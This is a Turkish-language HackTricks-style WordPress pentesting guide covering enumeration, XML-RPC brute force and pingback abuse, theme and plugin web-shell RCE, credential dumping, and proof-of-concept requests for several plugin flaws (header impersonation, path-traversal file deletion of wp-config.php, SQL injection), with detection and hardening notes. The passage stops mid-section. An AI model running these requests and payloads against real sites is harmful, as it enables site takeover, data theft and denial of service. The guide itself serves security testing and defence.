Wordpress

Reading time: 24 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

  • Uploaded dosyaları şurada bulunur: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, bu yüzden tema php'sini değiştirerek RCE elde etmeyi planlıyorsanız muhtemelen bu yolu kullanırsınız. Örneğin: theme twentytwelve kullanarak 404.php dosyasına şu konumdan access edebilirsiniz: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • wp-config.php içinde veritabanının root parolasını bulabilirsiniz.

  • Kontrol edilecek varsayılan giriş yolları: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Ana WordPress Dosyaları

  • index.php
  • license.txt WordPress'in yüklü sürümü gibi faydalı bilgiler içerir.
  • wp-activate.php yeni bir WordPress sitesi kurarken e-posta aktivasyon süreci için kullanılır.
  • Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php WordPress'in HTTP'yi taşıma mekanizması, XML'i ise kodlama mekanizması olarak kullanarak veri iletimine izin veren bir özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress REST API ile değiştirilmiştir.
  • wp-content klasörü eklentilerin ve temaların saklandığı ana dizindir.
  • wp-content/uploads/ platforma yüklenen herhangi bir dosyanın saklandığı dizindir.
  • wp-includes/ sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir.
  • wp-sitemap.xml WordPress 5.5 ve sonraki sürümlerde, tüm public gönderiler ve public olarak sorgulanabilir gönderi tipleri ve taksonomilerle birlikte bir sitemap XML dosyası oluşturur.

Post exploitation

  • wp-config.php dosyası WordPress'in veritabanına bağlanmak için gereken veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, authentication keys and salts ve veritabanı tablo öneki gibi bilgileri içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu aktifleştirmek için de kullanılabilir; bu, sorun gidermede faydalı olabilir.

Kullanıcı İzinleri

  • Administrator
  • Editor: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir
  • Author: Kendi gönderilerini yayınlar ve yönetir
  • Contributor: Gönderilerini yazar ve yönetir ama yayınlayamaz
  • Subscriber: Gönderilere göz atar ve profilini düzenleyebilir

Pasif Enumerasyon

Get WordPress version

/license.txt veya /readme.html dosyalarını bulup bulamayacağınızı kontrol edin

Sayfanın kaynak kodu içinde (örnek from https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link dosyaları

  • JavaScript dosyaları

Eklentileri Al

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Temaları Al

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Genel olarak sürümleri çıkar

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Aktif keşif

Plugins and Themes

Muhtemelen tüm Plugins and Themes'leri bulamayacaksınız. Bunların tamamını keşfetmek için aktif olarak Plugins and Themes listesine Brute Force uygulamanız gerekecek (umarız ki bu listeleri içeren otomatik araçlar vardır).

Kullanıcılar

  • ID Brute: Bir WordPress sitesinden geçerli kullanıcıları, kullanıcı ID'lerini Brute Forcing yaparak elde edersiniz:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Eğer yanıtlar 200 veya 30X ise, bu id'nin geçerli olduğu anlamına gelir. Eğer yanıt 400 ise, id geçersizdir.

  • wp-json: Kullanıcılar hakkında bilgi edinmek için şu sorgulamayı da deneyebilirsiniz:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Kullanıcılar hakkında bazı bilgiler açığa çıkarabilecek başka bir /wp-json/ endpoint'i şudur:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. Only information about the users that has this feature enable will be provided.

Ayrıca /wp-json/wp/v2/pages IP adreslerini leak edebilir.

  • Login username enumeration: /wp-login.php'e giriş yaparken mesaj farklıdır, bu kullanıcı adı var mı yok mu gösterir.

XML-RPC

Eğer xml-rpc.php aktifse kimlik bilgilerine yönelik brute-force yapabilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (You can automate this process using this for example).

Aktif olup olmadığını görmek için /xmlrpc.php adresine erişmeyi deneyin ve bu isteği gönderin:

Kontrol

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories veya metaWeblog.getUsersBlogs credentials üzerinde brute-force yapmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız şu şekilde bir istek gönderebilirsiniz:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Kimlik bilgileri geçerli değilse, 200 kodlu yanıt içinde "Incorrect username or password" mesajı görünmelidir.

Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Ayrıca aynı istekte birden fazla kimlik bilgisi deneyebildiğiniz için kimlik bilgilerini brute-force etmek için daha hızlı bir yol olan system.multicall'ı kullanabilirsiniz:

Bypass 2FA

Bu yöntem programlar için tasarlanmıştır, insanlar için değil; ayrıca eski olduğu için 2FA'yı desteklemez. Bu yüzden geçerli creds'iniz varsa ancak ana giriş 2FA ile korunuyorsa, xmlrpc.php'yi kötüye kullanarak bu creds'lerle 2FA'yı atlayarak giriş yapmayı deneyebilirsiniz. Konsol üzerinden yapabildiğiniz tüm işlemleri gerçekleştiremeyebilirsiniz, ancak Ippsec'in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s videosunda açıkladığı gibi yine de RCE'ye ulaşabilirsiniz.

DDoS or port scanning

Eğer listede pingback.ping yöntemini bulabilirseniz Wordpress'in herhangi bir host/port'a keyfi bir istek göndermesini sağlayabilirsiniz.
Bu, binlerce Wordpress sitesini bir konuma erişmeye (dolayısıyla o konumda bir DDoS oluşmasına) zorlamak için kullanılabilir veya Wordpress'i bazı dahili bir taraması için kullanabilirsiniz (herhangi bir port belirtebilirsiniz).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Eğer faultCode değeri 0'dan (17) büyük ise, bu portun açık olduğu anlamına gelir.

Önceki bölümdeki system.multicall kullanımına bakın; bu yöntemi DDoS için nasıl kötüye kullanabileceğinizi öğrenin.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

This file usually exists under the root of the Wordpress site: /wp-cron.php
When this file is accessed a "heavy" MySQL query is performed, so I could be used by attackers to cause a DoS.
Also, by default, the wp-cron.php is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS).

It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).

/wp-json/oembed/1.0/proxy - SSRF

Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Bu araç, methodName: pingback.ping ve /wp-json/oembed/1.0/proxy yolunun olup olmadığını kontrol eder ve mevcutlarsa bunları exploit etmeye çalışır.

Otomatik Araçlar

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Bir biti değiştirerek erişim elde etme

Gerçek bir saldırıdan çok bu bir merak örneğidir. CTF'de https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man herhangi bir wordpress dosyasından 1 biti çevirebiliyordunuz. Böylece /var/www/html/wp-includes/user.php dosyasındaki 5389 pozisyonundaki biti NOT (!) işlemini NOPlamak için çevirebilirdiniz.

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Kullanılan temadan bir php dosyasını değiştirme (admin kimlik bilgileri gerekli)

Appearance → Theme Editor → 404 Template (sağda)

İçeriği php shell içerecek şekilde değiştirin:

Güncellenen sayfaya nasıl erişileceğini internette araştırın. Bu durumda şu adrese erişmeniz gerekiyor: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Kullanabilirsiniz:

bash
use exploit/unix/webapp/wp_admin_shell_upload

bir oturum elde etmek için.

Plugin RCE

PHP plugin

.php dosyalarını bir plugin olarak yüklemek mümkün olabilir.
Örneğin php backdoor'unuzu şu şekilde oluşturun:

Sonra yeni bir eklenti ekleyin:

Eklentiyi yükleyin ve "Install Now" butonuna basın:

"Procced"e tıklayın:

Büyük olasılıkla görünürde hiçbir şey olmayacaktır, ancak Media'ya giderseniz yüklenen shell'i göreceksiniz:

Erişin ve reverse shell'i çalıştırmak için URL'yi göreceksiniz:

Uploading and activating malicious plugin

Bu yöntem, bilinen zafiyetli ve web shell elde etmek için sömürülebilecek kötü amaçlı bir eklentinin kurulmasını içerir. Bu işlem WordPress dashboard üzerinden şu şekilde gerçekleştirilir:

  1. Plugin Acquisition: Eklenti, Exploit DB gibi bir kaynaktan edinilir, örneğin here.
  2. Plugin Installation:
  • WordPress dashboard'a gidin, sonra Dashboard > Plugins > Upload Plugin yolunu izleyin.
  • İndirilen eklentinin zip dosyasını yükleyin.
  1. Plugin Activation: Eklenti başarıyla yüklendikten sonra dashboard üzerinden aktifleştirilmelidir.
  2. Exploitation:
  • "reflex-gallery" eklentisi yüklü ve aktif olduğunda, bilindiği üzere zafiyetli olduğu için sömürülebilir.
  • Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak siteye yetkisiz erişim sağlayan bir meterpreter oturumu kurulabilir.
  • Bu, bir WordPress sitesini sömürmek için kullanılan birçok yöntemden sadece biridir.

İçerik, eklentiyi yükleme ve aktifleştirme adımlarını gösteren görsel açıklamalar içerir. Ancak, bu şekilde zafiyetleri sömürmenin yetki olmadan yasa dışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi sorumlu şekilde ve sadece yasal bir bağlamda, örneğin açık izinle yapılan penetration testing gibi durumlarda kullanılmalıdır.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike WordPress'te bir Cross-Site Scripting (XSS) zafiyetini Remote Code Execution (RCE) veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir script'tir. Daha fazla bilgi için this post'a bakın. WordPress Versions 6.X.X, 5.X.X and 4.X.X için destek sağlar ve şunlara izin verir:
  • Privilege Escalation: WordPress'te bir kullanıcı oluşturur.
  • (RCE) Custom Plugin (backdoor) Upload: Özel plugin (backdoor) yükleyerek WordPress'e ekleme yapar.
  • (RCE) Built-In Plugin Edit: WordPress'teki Built-In Plugins'i düzenler.
  • (RCE) Built-In Theme Edit: WordPress'teki Built-In Themes'i düzenler.
  • (Custom) Custom Exploits: Üçüncü taraf WordPress Plugins/Themes için Custom Exploits sağlar.

Post Exploitation

Kullanıcı adları ve parolaları çıkar:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Admin parolasını değiştir:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Eklentileri Pentest

Saldırı Yüzeyi

Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkarabileceğini bilmek, o işlevsellikteki zafiyetleri bulmak için kilit önemdedir. Aşağıdaki madde işaretlerinde bir eklentinin işlevselliği nasıl açığa çıkarabileceğini ve zafiyetli eklenti örneklerini this blog post adresinde bulabilirsiniz.

  • wp_ajax

Bir eklentinin fonksiyonları kullanıcılara açığa çıkarma yollarından biri AJAX handler'ları aracılığıyladır. Bunlar logic, authorization veya authentication ile ilgili hatalar içerebilir. Dahası, bu fonksiyonların hem authentication hem de authorization'ı wordpress nonce'un varlığına dayandırması oldukça sık görülür; bu nonce'a Wordpress instance'ında kimliği doğrulanmış herhangi bir kullanıcı sahip olabilir (role bağlı olmaksızın).

Bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlar şunlardır:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv kullanımı endpoint'in herhangi bir kullanıcı tarafından (oturum açmamış olanlar dahil) erişilebilir olmasını sağlar.

caution

Ayrıca, eğer fonksiyon sadece kullanıcı yetkilendirmesini wp_verify_nonce fonksiyonu ile kontrol ediyorsa, bu fonksiyon yalnızca kullanıcının oturum açmış olduğunu doğrular; genellikle kullanıcının rolünü kontrol etmez. Bu yüzden düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı işlemlere erişim sağlayabilir.

  • REST API

wordpress'te register_rest_route fonksiyonunu kullanarak fonksiyonları REST API üzerinden açığa çıkarmak da mümkündür:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callback, belirli bir kullanıcının API metodunu çağırmaya yetkili olup olmadığını kontrol eden bir callback fonksiyonudur.

Eğer dahili __return_true fonksiyonu kullanılırsa, bu kullanıcı izinleri kontrolünü basitçe atlar.

  • PHP dosyasına doğrudan erişim

Elbette, Wordpress PHP kullanır ve eklenti içindeki dosyalar web'den doğrudan erişilebilir. Bu nedenle, bir eklenti yalnızca dosyaya erişilmesiyle tetiklenen herhangi bir savunmasız işlevsellik açığa çıkarıyorsa, bu herhangi bir kullanıcı tarafından sömürülebilir.

Trusted-header REST taklit (WooCommerce Payments ≤ 5.6.1)

Bazı eklentiler dahili entegrasyonlar veya reverse proxy'ler için “trusted header” kısayolları uygular ve REST istekleri için mevcut kullanıcı bağlamını ayarlamak üzere bu header'ı kullanır. Eğer header yukarı akıştaki bir bileşen tarafından istekle kriptografik olarak bağlanmamışsa, bir saldırgan onu sahteleyebilir ve ayrıcalıklı REST yollarına administrator olarak erişebilir.

  • Impact: kimlik doğrulanmamış (unauthenticated) privilege escalation ile admin'e yükselme; core users REST route aracılığıyla yeni bir administrator oluşturarak.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (kullanıcı ID'sini 1 olarak zorlar; tipik olarak ilk administrator hesabı).
  • Exploited route: POST /wp-json/wp/v2/users with an elevated role array.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Neden işe yarıyor

  • Eklenti, istemci tarafından kontrol edilen bir header'ı kimlik doğrulama durumuna eşliyor ve yetki kontrollerini atlıyor.
  • WordPress core bu route için create_users yetkisini bekler; eklenti hilesi bunu atlayarak başlıktan doğrudan geçerli kullanıcı bağlamını ayarlar.

Beklenen başarı göstergeleri

  • Oluşturulan kullanıcıyı tanımlayan JSON gövdesi ile HTTP 201.
  • wp-admin/users.php içinde görünen yeni bir admin kullanıcı.

Tespit kontrol listesi

  • getallheaders(), $_SERVER['HTTP_...'] veya kullanıcı bağlamını ayarlamak için özel header'ları okuyan vendor SDK'ları (ör. wp_set_current_user(), wp_set_auth_cookie()) için grep yapın.
  • İstek header'larına dayanan ve sağlam permission_callback kontrollerinden yoksun ayrıcalıklı callback'ler içeren REST kayıtlarını inceleyin.
  • Yalnızca header değerleri ile korunan REST handler'ları içinde çekirdek kullanıcı yönetimi fonksiyonları (wp_insert_user, wp_create_user) kullanımına bakın.

Sertleştirme

  • Kimlik doğrulamayı veya yetkilendirmeyi asla istemci kontrollü header'lardan türetmeyin.
  • Eğer bir reverse proxy kimlik enjekte etmek zorundaysa, güveni proxy'de sonlandırın ve gelen kopyaları kenarda temizleyin (ör. edge'de unset X-Wcpay-Platform-Checkout-User), ardından imzalı bir token iletin ve sunucu tarafında doğrulayın.
  • Yetkili işlemler yapan REST route'ları için current_user_can() kontrolleri ve katı bir permission_callback gerektirin (asla __return_true kullanmayın).
  • Header “impersonation” yerine birinci taraf auth (cookies, application passwords, OAuth) tercih edin.

Referanslar: genel vaka ve daha geniş analiz için bu sayfanın sonundaki linklere bakın.

wp_ajax_nopriv üzerinden Yetkilendirilmemiş Keyfi Dosya Silme (Litho Theme <= 3.0)

WordPress tema ve eklentileri genellikle wp_ajax_ ve wp_ajax_nopriv_ hook'ları üzerinden AJAX işleyicileri açığa çıkarır. nopriv varyantı kullanıldığında callback yetkilendirilmemiş ziyaretçiler tarafından erişilebilir hale gelir, bu yüzden herhangi bir hassas işlem ayrıca şunları uygulamalıdır:

  1. Bir yetki kontrolü (ör. current_user_can() veya en azından is_user_logged_in()), ve
  2. check_ajax_referer() / wp_verify_nonce() ile doğrulanan bir CSRF nonce'u, ve
  3. Sıkı giriş sanitizasyonu/doğrulaması.

Litho çok amaçlı tema (< 3.1) Remove Font Family özelliğinde bu 3 kontrolü unutmuş ve aşağıdaki kodu (basitleştirilmiş) göndermiştir:

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Issues introduced by this snippet:

  • Kimlik doğrulaması olmadan erişim – the wp_ajax_nopriv_ hook is registered.
  • No nonce / capability check – herhangi bir ziyaretçi endpoint'e erişebilir.
  • Yol temizleme yok – kullanıcı tarafından kontrol edilen fontfamily stringi filtrelenmeden bir dosya sistemi yoluna ekleniyor, bu da klasik ../../ traversal'a izin veriyor.

Exploitation

Bir saldırgan tek bir HTTP POST isteği göndererek uploads temel dizini altındaki (genellikle <wp-root>/wp-content/uploads/) herhangi bir dosya veya dizini silebilir:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

Tespit kontrol listesi

  • add_action( 'wp_ajax_nopriv_...') içinde filesystem helper'larını (copy(), unlink(), $wp_filesystem->delete(), vb.) çağıran herhangi bir callback.
  • Temizlenmemiş kullanıcı girdilerinin path'lere birleştirilmesi ($_POST, $_GET, $_REQUEST öğelerine bakın).
  • check_ajax_referer() ve current_user_can()/is_user_logged_in() çağrılarının eksik olması.

Sertleştirme

php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );

$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;

if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
//  🔒  NO wp_ajax_nopriv_ registration

tip

Her zaman diske yapılan herhangi bir write/delete işlemini yetkili kabul edin ve çift kontrol edin: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath() plus str_starts_with()).


Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

Birçok eklenti, orijinal rol(leri) user meta içinde kaydederek daha sonra geri yüklenebilmeleri için "view as role" veya geçici rol-değiştirme özelliği uygular. Eğer restorasyon yolu yalnızca request parametrelerine (ör. $_REQUEST['reset-for']) ve eklenti tarafından tutulan bir listeye dayanıyor ve capabilities kontrolü ile geçerli bir nonce doğrulaması yapılmıyorsa, bu bir vertical privilege escalation'a dönüşür.

Gerçek bir örnek Admin and Site Enhancements (ASE) eklentisinde (≤ 7.6.2.1) bulundu. Reset dalı, kullanıcı adı dahili bir dizi $options['viewing_admin_as_role_are'] içinde görünüyorsa reset-for=<username> bazında rolleri geri yükledi, fakat mevcut rolleri kaldırmadan ve user meta _asenha_view_admin_as_original_roles içindeki kaydedilmiş rolleri yeniden eklemeden önce ne current_user_can() kontrolü ne de nonce doğrulaması yaptı:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Neden istismar edilebilir

  • Sunucu tarafı yetkilendirmesi olmadan $_REQUEST['reset-for'] ve bir plugin seçeneğine güvenir.
  • Bir kullanıcı daha önce _asenha_view_admin_as_original_roles içinde daha yüksek ayrıcalıklara sahipse ve yetkisi düşürüldüyse, sıfırlama yoluna erişerek bunları geri yükleyebilir.
  • Bazı dağıtımlarda, kimliği doğrulanmış herhangi bir kullanıcı viewing_admin_as_role_are içinde hâlâ bulunan başka bir kullanıcı adı için bir reset tetikleyebilir (bozuk yetkilendirme).

Saldırı önkoşulları

  • Özelliğin etkin olduğu savunmasız plugin sürümü.
  • Hedef hesapta, önceki kullanımdan user meta'da saklanan eski yüksek ayrıcalıklı bir rol bulunması.
  • Herhangi bir kimliği doğrulanmış oturum; reset akışında nonce/capability kontrolünün eksik olması.

Exploitation (example)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Zafiyetli sürümlerde bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (ör., administrator) yeniden ekler; bu da yetkilerin etkin bir biçimde yükseltilmesine yol açar.

Detection checklist

  • Kullanıcı meta verilerinde "orijinal roller"i (ör., _asenha_view_admin_as_original_roles) saklayan rol-değiştirme özelliklerini arayın.
  • Aşağıdaki özelliklere sahip sıfırlama/geri yükleme yollarını tespit edin:
    • Kullanıcı adlarını $_REQUEST / $_GET / $_POST'ten okuyan.
    • current_user_can() ve wp_verify_nonce() / check_admin_referer() olmadan add_role() / remove_role() ile rolleri değiştiren.
    • Yetkilendirmeyi aktörün yetenekleri yerine bir plugin option dizisine (ör., viewing_admin_as_role_are) dayandıran.

Hardening

  • Her durum-değiştiren dalda yetenek kontrollerini zorunlu kılın (ör., current_user_can('manage_options') veya daha sıkı).
  • Tüm rol/izin değişiklikleri için nonces gerektirip bunları doğrulayın: check_admin_referer() / wp_verify_nonce().
  • İstekle sağlanan kullanıcı adlarına asla güvenmeyin; hedef kullanıcıyı sunucu tarafında kimliği doğrulanmış aktöre ve açık politikaya göre belirleyin.
  • Profil/rol güncellemelerinde "orijinal roller" durumunu geçersiz kılın; böylece eski yüksek yetkili geri yüklemelerin önüne geçin:
php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
  • Geçici rol değişimleri için minimal durum saklamayı ve zaman sınırlı, capability-guarded tokenlar kullanmayı düşünün.

WordPress/plugin CVE'leri için WAF değerlendirmeleri

Genel edge/server WAF'lar geniş desenlere (SQLi, XSS, LFI) göre ayarlanmıştır. Birçok yüksek etkili WordPress/plugin hatası uygulamaya özgü mantık/auth hatalarıdır ve motor WordPress rotalarını ve eklenti semantiğini anlamıyorsa zararsız trafik gibi görünür.

Saldırı notları

  • Temiz payloadlarla eklenti-özgü endpointleri hedefleyin: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Önce unauth yollarını deneyin (AJAX nopriv, REST with permissive permission_callback, public shortcodes). Varsayılan payloads genellikle obfuscation yapmadan başarılı olur.
  • Tipik yüksek etkili vakalar: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Savunma notları

  • Eklenti CVE'lerini korumak için genel WAF imzalarına güvenmeyin. Uygulama-katmanı, zafiyete-özel virtual patches uygulayın veya hızlıca güncelleyin.
  • Kodda negatif regex filtreleri yerine positive-security kontrollerini tercih edin (capabilities, nonces, strict input validation).

WordPress Koruması

Düzenli Güncellemeler

WordPress, plugins ve temaların güncel olduğundan emin olun. Ayrıca otomatik güncellemenin wp-config.php'de etkinleştirildiğini doğrulayın:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Ayrıca, yalnızca güvenilir WordPress eklentilerini ve temalarını yükleyin.

Güvenlik Eklentileri

Diğer Öneriler

  • Varsayılan admin kullanıcısını kaldırın
  • Güçlü parolalar ve 2FA kullanın
  • Kullanıcıların izinlerini periyodik olarak gözden geçirin
  • Brute Force saldırılarını önlemek için giriş denemelerini sınırlandırın
  • wp-admin.php dosyasının adını değiştirin ve yalnızca dahili erişime veya belirli IP adreslerinden erişime izin verin.

Kimlik doğrulaması gerektirmeyen SQL Injection (yetersiz doğrulama) (WP Job Portal <= 2.3.2)

WP Job Portal işe alım eklentisi, en nihayetinde modules/category/model.php::validateFormData() içinde aşağıdaki güvenlik açığı içeren kodu çalıştıran savecategory görevini açığa çıkardı:

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Bu parçacığın neden olduğu sorunlar:

  1. Unsanitised user inputparentid HTTP isteğinden doğrudan geliyor.
  2. String concatenation inside the WHERE clauseis_numeric() / esc_sql() / prepared statement yok.
  3. Unauthenticated reachability – işlem admin-post.php üzerinden yürütülse de, mevcut tek kontrol bir CSRF nonce (wp_verify_nonce())'dir; bu nonce, shortcode'u içeren herkese açık bir sayfadan herhangi bir ziyaretçi tarafından alınabilir.

Exploitation

  1. Yeni bir nonce alın:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. parentid'i suistimal ederek rastgele SQL enjeksiyonu yapın:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Yanıt, enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirir; bu da SQLi'yi kanıtlar.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Başka bir görev, downloadcustomfile, ziyaretçilerin path traversal yoluyla diskteki herhangi bir dosyayı indirmesine izin veriyordu. Zayıf sink modules/customfield/model.php::downloadCustomUploadedFile() içinde bulunuyor:

php
